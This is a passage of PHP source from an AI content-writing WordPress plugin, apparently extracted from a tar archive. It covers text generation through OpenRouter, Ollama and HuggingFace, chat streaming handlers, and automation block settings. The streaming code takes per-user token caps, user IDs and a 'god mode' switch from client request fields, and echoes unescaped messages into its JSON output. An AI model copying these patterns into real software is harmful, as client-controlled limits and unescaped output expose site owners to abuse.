"/res/openrouter/UrlOpenRouter.php"); require_once (dirname(__FILE__) . "/res/openrouter/OpenRouter.php"); $open_ai = new OpenRouter($token); if($stream == true) { $responsex = $open_ai->chat($base_params, function ($curl_info, $data) { echo $data . "

            "; echo PHP_EOL; ob_flush(); flush(); return strlen($data); }); $result = json_decode(trim($responsex)); return $result; } else { $responsex = $open_ai->chat($base_params); $result = json_decode(trim($responsex)); if (isset($result->error) && !empty($result->error)) { $error = 'Error in OpenRouter API: ' . $result->error->message; return false; } else { if(!isset($result->choices[0]->message->content)) { $error = 'Failed to parse API response: ' . trim($responsex); return false; } return $result->choices[0]->message->content; } $error = 'OpenRouter failure: text cannot be generated'; return false; } } function aiomatic_generate_text_ollama($api_url, $model, $aicontent, $zenv, $temperature, $top_p, $max_tokens, $stream, &$error) { $response = ''; try { $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); $stop = null; $session = aiomatic_get_session_id(); $mode = 'text'; $maxResults = 1; $aicontentquery = ''; $token = ''; if(is_array($aicontent)) { $aicontentquery = $aicontent[0]['content']; } $query = new Aiomatic_Query($aicontentquery, $max_tokens, $model, $temperature, $stop, $zenv, $mode, $token, $session, $maxResults, '', ''); $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings ); if ( $ok !== true ) { $error = $ok; return false; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on' && AIOMATIC_IS_DEBUG === true) { aiomatic_log_to_file('Generating chat AI text using model: ' . $model . ' and prompt: ' . $aitext); } $env = [ 'temperature' => $temperature, 'top_p' => $top_p ]; require_once (dirname(__FILE__) . "/res/ollama/ollama.php"); $ollama = new AiomaticOllamaAPI($api_url); try { $response = $ollama->chatCompletion($model, $aicontent, $stream, $env); if(!$stream && empty($response)) { throw new Exception('Empty response from Ollama'); } } catch (Exception $e) { throw new Exception('Failed to generate Ollama API response: ' . $e->getMessage()); } if(!$stream) { $response = apply_filters( 'aiomatic_ai_reply_raw', $response, $aicontent ); apply_filters( 'aiomatic_ai_reply', $response, $query ); } } catch (Exception $e) { $error = 'Ollama failure: ' . $e->getMessage(); return false; } return $response; } function aiomatic_generate_text_huggingface($token, $model, $aicontent, $zenv, $temperature, $top_p, $max_tokens, $stream, &$error) { $response = ''; try { $custom_url = ''; $all_models = get_option('aiomatic_huggingface_models', array()); if(!array_key_exists($model, $all_models)) { throw new Exception('Inexistent HuggingFace model provided: ' . $model); } else { if(is_array($all_models[$model]) && isset($all_models[$model][1]) && trim($all_models[$model][1]) != '') { $custom_url = trim($all_models[$model][1]); } } $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); $stop = null; $session = aiomatic_get_session_id(); $mode = 'text'; $maxResults = 1; if(is_array($aicontent)) { $aicontent = $aicontent[0]['content']; } $query = new Aiomatic_Query($aicontent, $max_tokens, $model, $temperature, $stop, $zenv, $mode, $token, $session, $maxResults, '', ''); $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings ); if ( $ok !== true ) { $error = $ok; return false; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on' && AIOMATIC_IS_DEBUG === true) { aiomatic_log_to_file('Generating chat AI text using model: ' . $model . ' and prompt: ' . $aitext); } require_once (dirname(__FILE__) . "/res/huggingface/api.php"); $env = [ 'apikey' => $token, 'model' => $model, 'temperature' => $temperature, 'top_p' => $top_p ]; $extra = array(); if($stream == true) { $env['stream'] = true; $extra['stream'] = true; } else { $env['stream'] = false; } $sdk = new AiomaticHuggingFaceSDK($env, $custom_url); $response = $sdk->generate_text($aicontent, $extra); if(!$stream && empty($response)) { throw new Exception('Failed to generate API response!'); } if(!isset($response[0]['generated_text'])) { throw new Exception('Failed to parse HuggingFace response: ' . print_r($response, true)); } if(!$stream) { $response = $response[0]['generated_text']; $pos = strpos($response, $aicontent); if ($pos !== false) { $response = substr_replace($response, '', $pos, strlen($aicontent)); } $response = apply_filters( 'aiomatic_ai_reply_raw', $response, $aicontent ); apply_filters( 'aiomatic_ai_reply', $response, $query ); } } catch (Exception $e) { $error = 'HuggingFace failure: ' . $e->getMessage(); return false; } return $response; } function aiomatic_list_models_huggingface($token, &$error) { $response = ''; try { require_once (dirname(__FILE__) . "/res/huggingface/api.php"); $params = [ 'filter' => 'text-generation', 'limit' => -1, 'sort' => 'downloads', 'direction' => -1 ]; $env = [ 'apikey' => $token ]; $sdk = new AiomaticHuggingFaceSDK($env); $response = $sdk->list_models($params); } catch (Exception $e) { $error = 'HuggingFaceb failure: ' . $e->getMessage(); return false; } return $response; } if(!class_exists('Aiomatic_Claude_Streaming')) { class Aiomatic_Claude_Streaming { private static $instance = null ; public static function get_instance() { if ( is_null( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } public function __construct() { add_action('init', [$this, 'aiomatic_claude_stream'], 1); } public function aiomatic_claude_stream() { if(isset($_GET['aiomatic_claude_stream']) && sanitize_text_field($_GET['aiomatic_claude_stream']) == 'yes') { header('Content-type: text/event-stream'); header('Cache-Control: no-cache'); if (!isset($_REQUEST['nonce']) || !wp_verify_nonce($_REQUEST['nonce'], 'aiomatic-streaming-nonce')) { $message = esc_html__('You are not allowed to do this action!', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($message); } else { if (isset($_REQUEST['input_text']) && !empty($_REQUEST['input_text'])) { if(!isset($_REQUEST['model']) || !isset($_REQUEST['temp']) || !isset($_REQUEST['top_p']) || !isset($_REQUEST['presence']) || !isset($_REQUEST['frequency']) || !isset($_REQUEST['remember_string'])) { $message = esc_html__('Incomplete POST request for chat!', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($message); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id_claude']) || trim($aiomatic_Main_Settings['app_id_claude']) == '') { $aiomatic_result = esc_html__('You need to insert a valid Anthropic Claude API Key for this to work!', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($aiomatic_result); } if(isset($_REQUEST['user_token_cap_per_day'])) { $user_token_cap_per_day = sanitize_text_field($_REQUEST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } } else { $user_token_cap_per_day = ''; } $user_id = sanitize_text_field($_REQUEST['user_id']); $input_text = stripslashes($_REQUEST['input_text']); $user_question = stripslashes($_REQUEST['user_question']); $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (isset($aiomatic_Chatbot_Settings['max_input_length']) && $aiomatic_Chatbot_Settings['max_input_length'] != '' && is_numeric($aiomatic_Chatbot_Settings['max_input_length'])) { if(strlen($input_text) > intval($aiomatic_Chatbot_Settings['max_input_length'])) { $input_text = substr($input_text, 0, intval($aiomatic_Chatbot_Settings['max_input_length'])); } } $remember_string = stripslashes($_REQUEST['remember_string']); if(!empty(trim($remember_string))) { $input_text = trim($remember_string) . PHP_EOL . $input_text; } $model = sanitize_text_field(stripslashes($_REQUEST['model'])); $temperature = sanitize_text_field($_REQUEST['temp']); $top_p = sanitize_text_field($_REQUEST['top_p']); $presence_penalty = sanitize_text_field($_REQUEST['presence']); $frequency_penalty = sanitize_text_field($_REQUEST['frequency']); $models = aiomatic_get_all_models_claude(); if(!in_array($model, $models)) { $aiomatic_result = esc_html__('Invalid model provided: ', 'aiomatic-automatic-ai-content-writer') . $model; $this->aiomatic_event_exit($aiomatic_result); } $temperature = floatval($temperature); $top_p = floatval($top_p); $presence_penalty = floatval($presence_penalty); $frequency_penalty = floatval($frequency_penalty); if($temperature < 0 || $temperature > 2) { $aiomatic_result = esc_html__('Invalid temperature provided: ', 'aiomatic-automatic-ai-content-writer') . $temperature; $this->aiomatic_event_exit($aiomatic_result); } if($top_p < 0 || $top_p > 1) { $aiomatic_result = esc_html__('Invalid top_p provided: ', 'aiomatic-automatic-ai-content-writer') . $top_p; $this->aiomatic_event_exit($aiomatic_result); } if($presence_penalty < -2 || $presence_penalty > 2) { $aiomatic_result = esc_html__('Invalid presence_penalty provided: ', 'aiomatic-automatic-ai-content-writer') . $presence_penalty; $this->aiomatic_event_exit($aiomatic_result); } if($frequency_penalty < -2 || $frequency_penalty > 2) { $aiomatic_result = esc_html__('Invalid frequency_penalty provided: ', 'aiomatic-automatic-ai-content-writer') . $frequency_penalty; $this->aiomatic_event_exit($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); $this->aiomatic_event_exit($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_chat_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result = esc_html__('The daily token count for your user account was exceeded! Please try again tomorrow.', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($aiomatic_result); } } else { $used_token_count = 0; } } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $max_tokens = aiomatic_get_max_tokens($model); $query_token_count = count(aiomatic_encode($input_text)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $input_text, $query_token_count); $thread_id = ''; $vision_file = ''; $error = ''; $finish_reason = ''; aiomatic_generate_text($token, $model, $input_text, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, true, 'shortcodeChat', 0, $finish_reason, $error, false, false, true, $vision_file, $user_question, 'user', '', $thread_id, '', 'disabled', '', false); } } exit; } } private function aiomatic_event_exit($message) { echo "event: message\n"; echo 'data: {"error":[{"message":"' . $message . '"}]}'; echo "\n\n"; if (ob_get_length()) { ob_end_flush(); } flush(); echo 'data: {"choices":[{"finish_reason":"stop"}]}'; echo "\n\n"; if (ob_get_length()) { ob_end_flush(); } flush(); exit; } } Aiomatic_Claude_Streaming::get_instance(); } function aiomatic_get_openrouter_models() { $categories_option_value = get_option('aiomatic_openrouter_model_list', array()); if(isset($categories_option_value['source_list']) && isset($categories_option_value['last_updated'])) { if( (time() - $categories_option_value['last_updated']) < 2986400 ) { return $categories_option_value; } } $categories = aiomatic_openrouter_retrieve_models(); if(is_array($categories)) { return $categories; } return false; } function aiomatic_get_huggingface_models() { $huggingface_models = get_option('aiomatic_huggingface_models', array()); $hf_arr = array(); foreach($huggingface_models as $model => $details) { if(!in_array($model, $hf_arr)) { $hf_arr[] = $model; } } return $hf_arr; } function aiomatic_openrouter_retrieve_models() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(isset($aiomatic_Main_Settings['app_id_openrouter']) && !empty(trim($aiomatic_Main_Settings['app_id_openrouter']))) { $url = 'https://openrouter.ai/api/v1/models'; $response = wp_remote_get( $url ); if ( is_wp_error( $response ) ) { throw new Exception( 'AI Engine: ' . $response->get_error_message() ); } $body = json_decode( $response['body'], true ); if ( $body === null ) { throw new Exception( 'Failed to decode response: ' . $response['body'] ); } $models = array(); foreach ( $body['data'] as $model ) { $family = "n/a"; $maxCompletionTokens = 4096; $maxContextualTokens = 8096; $priceIn = 0; $priceOut = 0; $family = explode( '/', $model['id'] )[0]; if ( isset( $model['top_provider']['max_completion_tokens'] ) ) { $maxCompletionTokens = (int)$model['top_provider']['max_completion_tokens']; } if ( isset( $model['context_length'] ) ) { $maxContextualTokens = (int)$model['context_length']; } if ( isset( $model['pricing']['prompt'] ) && $model['pricing']['prompt'] > 0 ) { $priceIn = floatval( $model['pricing']['prompt'] ) * 1000; $priceIn = aiomatic_truncate_float( $priceIn ); } if ( isset( $model['pricing']['completion'] ) && $model['pricing']['completion'] > 0 ) { $priceOut = floatval( $model['pricing']['completion'] ) * 1000; $priceOut = aiomatic_truncate_float( $priceOut ); } $tags = [ 'ai' ]; if ( preg_match( '/\((beta|alpha|preview)\)/i', $model['name'], $matches ) ) { $tags[] = 'preview'; $model['name'] = preg_replace( '/\((beta|alpha|preview)\)/i', '', $model['name'] ); } if ( preg_match( '/vision/i', $model['name'], $matches ) ) { $tags[] = 'vision'; } $models[] = array( 'model' => $model['id'], 'name' => trim( $model['name'] ), 'family' => $family, 'mode' => 'chat', 'price' => array( 'in' => $priceIn, 'out' => $priceOut, ), 'type' => 'token', 'unit' => 1 / 1000, 'maxCompletionTokens' => $maxCompletionTokens, 'maxContextualTokens' => $maxContextualTokens, 'tags' => $tags ); } $ai_ret_models = array( 'source_list' => $models, 'last_updated' => time() ); if(count($models) > 0) { update_option('aiomatic_openrouter_model_list', $ai_ret_models); } return $ai_ret_models; } return false; } ?>aiomatic-streaming.php000064400000064112147577714370011064 0ustar00aiomatic_event_exit($message); } else { if (isset($_REQUEST['input_text']) && $_REQUEST['input_text'] != '') { $thread_id = ''; if(isset($_REQUEST['thread_id']) && trim($_REQUEST['thread_id']) !== '') { $thread_id = stripslashes($_REQUEST['thread_id']); } $assistant_id = ''; if(isset($_REQUEST['assistant_id']) && trim($_REQUEST['assistant_id']) !== '') { $assistant_id = stripslashes($_REQUEST['assistant_id']); } $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $no_internet = false; if(isset($_REQUEST['internet_access']) && ($_REQUEST['internet_access'] === 'no' || $_REQUEST['internet_access'] === '0' || $_REQUEST['internet_access'] == 'off' || $_REQUEST['internet_access'] == 'disabled' || $_REQUEST['internet_access'] == 'Disabled' || $_REQUEST['internet_access'] == 'disable' || $_REQUEST['internet_access'] == "false")) { $no_internet = true; } $no_embeddings = false; if(isset($_REQUEST['embeddings']) && ($_REQUEST['embeddings'] === 'no' || $_REQUEST['embeddings'] === '0' || $_REQUEST['embeddings'] == 'off' || $_REQUEST['embeddings'] == 'disabled' || $_REQUEST['embeddings'] == 'disable' || $_REQUEST['embeddings'] == 'Disabled' || $_REQUEST['embeddings'] == "false")) { $no_embeddings = true; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result = esc_html__('You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($aiomatic_result); } if(isset($_REQUEST['user_token_cap_per_day']) && trim($_REQUEST['user_token_cap_per_day']) !== '') { $user_token_cap_per_day = sanitize_text_field($_REQUEST['user_token_cap_per_day']); } else { $user_token_cap_per_day = ''; } if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } if(isset($_REQUEST['pdf_data'])) { $embedding_namespace = stripslashes($_REQUEST['pdf_data']); } else { $embedding_namespace = ''; } if(isset($_REQUEST['file_data'])) { $file_data = stripslashes($_REQUEST['file_data']); } else { $file_data = ''; } if(isset($_REQUEST['user_id'])) { $user_id = stripslashes($_REQUEST['user_id']); } else { $user_id = ''; } if(isset($_REQUEST['enable_god_mode'])) { $enable_god_mode = stripslashes($_REQUEST['enable_god_mode']); } else { $enable_god_mode = ''; } if($enable_god_mode === 'on' || $enable_god_mode === 'yes' || $enable_god_mode === 'true' || $enable_god_mode === '1' || $enable_god_mode === 'enable' || $enable_god_mode === 'enabled') { $function_result = ''; } else { $function_result = 'disabled'; } if(isset($_REQUEST['functions_result']) && trim($_REQUEST['functions_result']) != '' && (!isset($_REQUEST['bufferid']) || $_REQUEST['bufferid'] == '')) { $fr = $_REQUEST['functions_result']; $fr = json_decode($fr, true); if($fr !== null) { $function_result = $fr; } else { $fr = $_REQUEST['functions_result']; $fr = json_decode(stripslashes($fr), true); if($fr !== null) { $function_result = $fr; } } } $remember_data = false; if(isset($_REQUEST['functions_result']) && trim($_REQUEST['functions_result']) == '0' && (isset($_REQUEST['bufferid']) && $_REQUEST['bufferid'] != '')) { $remember_data = get_transient('aiomatic_ai_data_' . $_REQUEST['bufferid']); if(is_array($remember_data)) { if(isset($remember_data[3])) { $fr = stripslashes($remember_data[3]); $fr = json_decode($fr, true); if($fr !== null) { $function_result = $fr; } } } } if(is_array($function_result) && is_array($function_result[0])) { if(isset($_REQUEST['run_id']) && trim($_REQUEST['run_id']) != '') { for($k = 0; $k < count($function_result); $k++) { $function_result[$k]['run_id'] = stripslashes($_REQUEST['run_id']); $function_result[$k]['thread_id'] = $thread_id; } } } if(empty($embedding_namespace)) { if (isset($aiomatic_Chatbot_Settings['persistent']) && $aiomatic_Chatbot_Settings['persistent'] == 'vector') { $embedding_namespace = 'persistentchat_' . $user_id . '_' . $thread_id; } } if(isset($_REQUEST['bufferid']) && $_REQUEST['bufferid'] != '') { if($remember_data === false) { $remember_data = get_transient('aiomatic_ai_data_' . $_REQUEST['bufferid']); } delete_transient('aiomatic_ai_data_' . $_REQUEST['bufferid']); if(is_array($remember_data)) { if(isset($remember_data[2])) { $input_text = stripslashes($remember_data[0]); $remember_string = stripslashes($remember_data[1]); $user_question = stripslashes($remember_data[2]); } else { $message = esc_html__('Invalid bufferid sent!', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($message); } } else { $message = esc_html__('Incorrect bufferid provided!', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($message); } } else { $input_text = stripslashes($_REQUEST['input_text']); if(isset($_REQUEST['user_question'])) { $user_question = stripslashes($_REQUEST['user_question']); } else { $user_question = ''; } if(isset($_REQUEST['remember_string'])) { $remember_string = stripslashes($_REQUEST['remember_string']); } else { $remember_string = ''; } } if (isset($aiomatic_Chatbot_Settings['max_input_length']) && $aiomatic_Chatbot_Settings['max_input_length'] != '' && is_numeric($aiomatic_Chatbot_Settings['max_input_length'])) { if(strlen($input_text) > intval($aiomatic_Chatbot_Settings['max_input_length'])) { $input_text = substr($input_text, 0, intval($aiomatic_Chatbot_Settings['max_input_length'])); } } $is_modern_gpt = '0'; if(isset($_REQUEST['is_modern_gpt'])) { $is_modern_gpt = stripslashes($_REQUEST['is_modern_gpt']); } if($is_modern_gpt == '1') { if(!empty($remember_string)) { $remember_string = json_decode($remember_string, true); if($remember_string === null) { $aiomatic_result = esc_html__('Failed to decode conversation data!', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($aiomatic_result); } if(!is_array($remember_string)) { $remember_string = []; } } else { $remember_string = []; } $remember_string[] = array ('role' => 'user', 'content' => $input_text); $input_text = $remember_string; } else { if(!empty(trim($remember_string))) { $input_text = trim($remember_string) . PHP_EOL . $input_text; } } if(isset($_REQUEST['model'])) { $model = sanitize_text_field(stripslashes($_REQUEST['model'])); } else { $model = 'default'; } if($model == 'default') { $model = AIOMATIC_DEFAULT_MODEL; } if(isset($_REQUEST['temp'])) { $temperature = sanitize_text_field(stripslashes($_REQUEST['temp'])); } else { $temperature = '1'; } if(isset($_REQUEST['top_p'])) { $top_p = sanitize_text_field(stripslashes($_REQUEST['top_p'])); } else { $top_p = '1'; } if(isset($_REQUEST['presence'])) { $presence_penalty = sanitize_text_field(stripslashes($_REQUEST['presence'])); } else { $presence_penalty = '0'; } if(isset($_REQUEST['frequency'])) { $frequency_penalty = sanitize_text_field(stripslashes($_REQUEST['frequency'])); } else { $frequency_penalty = '0'; } $models = aiomatic_get_all_models(); if(!in_array($model, $models)) { $aiomatic_result = esc_html__('Invalid model provided: ', 'aiomatic-automatic-ai-content-writer') . $model; $this->aiomatic_event_exit($aiomatic_result); } $vision_file = ''; if(isset($_REQUEST['vision_file'])) { if(aiomatic_is_vision_model($model, $assistant_id)) { $vision_file = stripslashes($_REQUEST['vision_file']); } } $temperature = floatval($temperature); $top_p = floatval($top_p); $presence_penalty = floatval($presence_penalty); $frequency_penalty = floatval($frequency_penalty); if($temperature < 0 || $temperature > 2) { $aiomatic_result = esc_html__('Invalid temperature provided: ', 'aiomatic-automatic-ai-content-writer') . $temperature; $this->aiomatic_event_exit($aiomatic_result); } if($top_p < 0 || $top_p > 1) { $aiomatic_result = esc_html__('Invalid top_p provided: ', 'aiomatic-automatic-ai-content-writer') . $top_p; $this->aiomatic_event_exit($aiomatic_result); } if($presence_penalty < -2 || $presence_penalty > 2) { $aiomatic_result = esc_html__('Invalid presence_penalty provided: ', 'aiomatic-automatic-ai-content-writer') . $presence_penalty; $this->aiomatic_event_exit($aiomatic_result); } if($frequency_penalty < -2 || $frequency_penalty > 2) { $aiomatic_result = esc_html__('Invalid frequency_penalty provided: ', 'aiomatic-automatic-ai-content-writer') . $frequency_penalty; $this->aiomatic_event_exit($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); $this->aiomatic_event_exit($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_chat_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result = esc_html__('Daily token count for your user account is exceeded! Please try again tomorrow.', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($aiomatic_result); } } else { $used_token_count = 0; } } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $max_tokens = aiomatic_get_max_tokens($model); if($is_modern_gpt == '1') { $aitext = ''; foreach($input_text as $aimess) { if(isset($aimess['content'])) { if(!is_array($aimess['content'])) { $aitext .= $aimess['content'] . '\n'; } else { foreach($aimess['content'] as $internalmess) { if($internalmess['type'] == 'text') { $aitext .= $internalmess['text'] . '\n'; } } } } } $query_token_count = count(aiomatic_encode($aitext)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $aitext, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $startIndex = intdiv(count($input_text), 2); $input_text = array_slice($input_text, $startIndex); $lastindex = end(array_keys($input_text)); $string_len = strlen($input_text[$lastindex]['content']); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $input_text[$lastindex]['content'] = aiomatic_substr($input_text[$lastindex]['content'], 0, $string_len); $input_text[$lastindex]['content'] = trim($input_text[$lastindex]['content']); $aitext = ''; foreach($input_text as $aimess) { if(isset($aimess['content'])) { if(!is_array($aimess['content'])) { $aitext .= $aimess['content'] . '\n'; } else { foreach($aimess['content'] as $internalmess) { if($internalmess['type'] == 'text') { $aitext .= $internalmess['text'] . '\n'; } } } } } $query_token_count = count(aiomatic_encode($aitext)); $available_tokens = $max_tokens - $query_token_count; } } else { $query_token_count = count(aiomatic_encode($input_text)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $input_text, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($input_text); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $input_text = aiomatic_substr($input_text, 0, $string_len); $input_text = trim($input_text); if(empty($input_text)) { $aiomatic_result = esc_html__('Empty API seed expression provided (after processing)', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($aiomatic_result); } $query_token_count = count(aiomatic_encode($input_text)); $available_tokens = $max_tokens - $query_token_count; } } $error = ''; $finish_reason = ''; do_action('aiomatic_calling_stream', $input_text, $model); $zerret = aiomatic_generate_text($token, $model, $input_text, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, true, 'shortcodeChat', 0, $finish_reason, $error, $no_internet, $no_embeddings, true, $vision_file, $user_question, 'user', $assistant_id, $thread_id, $embedding_namespace, $function_result, $file_data, false); if($zerret === false && !empty($error)) { $this->aiomatic_event_exit($error); } } else { $message = esc_html__('Empty input text provided!', 'aiomatic-automatic-ai-content-writer'); $this->aiomatic_event_exit($message); } } exit; } } private function aiomatic_event_exit($message) { echo "event: message\n"; echo 'data: {"error":[{"message":"' . $message . '"}]}'; echo "\n\n"; if (ob_get_length()) { ob_end_flush(); } flush(); echo 'data: {"choices":[{"finish_reason":"stop"}]}'; echo "\n\n"; if (ob_get_length()) { ob_end_flush(); } flush(); exit; } } Aiomatic_Streaming::get_instance(); } ?>aiomatic-automation.php000064400000412423147577714370011255 0ustar00 [ 'id' => 'ai_text', 'name' => esc_html__('AI Text', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - AI Content Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Generates AI textual content using different models', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('ai_text_'), 'parameters' => array( 'prompt' => array( 'type' => 'textarea', 'title' => esc_html__('AI Prompt', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the AI prompt which will be sent to the content writer', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the AI prompt which will be sent to the content writer. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'assistant_id' => array( 'type' => 'assistant_select', 'title' => esc_html__('AI Assistant', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the AI Assistant to be used with the AI writer. If you select an assistant, a model cannot be selected any more, but instead, the model assigned to the assistant will be used.', 'aiomatic-automatic-ai-content-writer') ), 'model' => array( 'type' => 'model_select', 'title' => esc_html__('AI Model', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the model to be used with the AI writer.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'ai_text_foreach' => [ 'id' => 'ai_text_foreach', 'name' => esc_html__('AI Text For Each Line Of Input', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - AI Content Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Generates AI textual content using different models, calling the AI writer for each line of the input text (with respective prompt changes)', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('ai_text_foreach_'), 'parameters' => array( 'multiline_input' => array( 'type' => 'textarea', 'title' => esc_html__('Multiline Input', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the multiline input, which will be used to call the AI', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the multiline input which will be cut to lines and will be used to call the below prompt, for each of its lines. This input will be cut up to multiple lines and will create the %%current_input_line%% shortcode, usable below. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'prompt' => array( 'type' => 'textarea', 'title' => esc_html__('AI Prompt', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the AI prompt which will be sent to the content writer', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the AI prompt which will be sent to the content writer. Additional shortcodes you can use: %%current_input_line%%, %%current_input_line_counter%%, %%all_input_lines%%, %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'assistant_id' => array( 'type' => 'assistant_select', 'title' => esc_html__('AI Assistant', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the AI Assistant to be used with the AI writer. If you select an assistant, a model cannot be selected any more, but instead, the model assigned to the assistant will be used.', 'aiomatic-automatic-ai-content-writer') ), 'model' => array( 'type' => 'model_select', 'title' => esc_html__('AI Model', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the model to be used with the AI writer.', 'aiomatic-automatic-ai-content-writer') ), 'prepend' => array( 'type' => 'textarea', 'title' => esc_html__('Text To Prepend To Each Content Block', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Text to prepend', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the text to be prepend to each content block which was created by this OmniBlock.', 'aiomatic-automatic-ai-content-writer') ), 'append' => array( 'type' => 'textarea', 'title' => esc_html__('Text To Append To Each Content Block', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Text to append', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the text to be appended to each content block which was created by this OmniBlock.', 'aiomatic-automatic-ai-content-writer') ), 'max_runs' => array( 'type' => 'number', 'title' => esc_html__('Set The Maximum Number Of Lines To Process', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Max lines to process', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the maximum number of lines to process. This field is optional.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'dalle_ai_image' => [ 'id' => 'dalle_ai_image', 'name' => esc_html__('AI Image Dall-E', 